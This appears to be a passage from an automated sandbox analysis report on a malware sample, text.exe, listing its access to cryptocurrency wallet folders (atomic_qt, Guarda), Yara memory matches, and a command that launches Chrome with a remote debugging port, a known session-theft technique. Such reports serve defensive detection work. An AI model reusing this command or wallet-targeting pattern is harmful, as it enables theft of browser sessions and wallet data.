Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
Source: Yara match File source: 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: text.exe PID: 7068, type: MEMORYSTR

Remote Access Functionality

barindex
Source: C:\Users\user\Desktop\text.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: 0.2.text.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.text.exe.2130000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.text.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2462698435.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1717459897.0000000002130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1779713244.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2462388658.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: text.exe PID: 7068, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs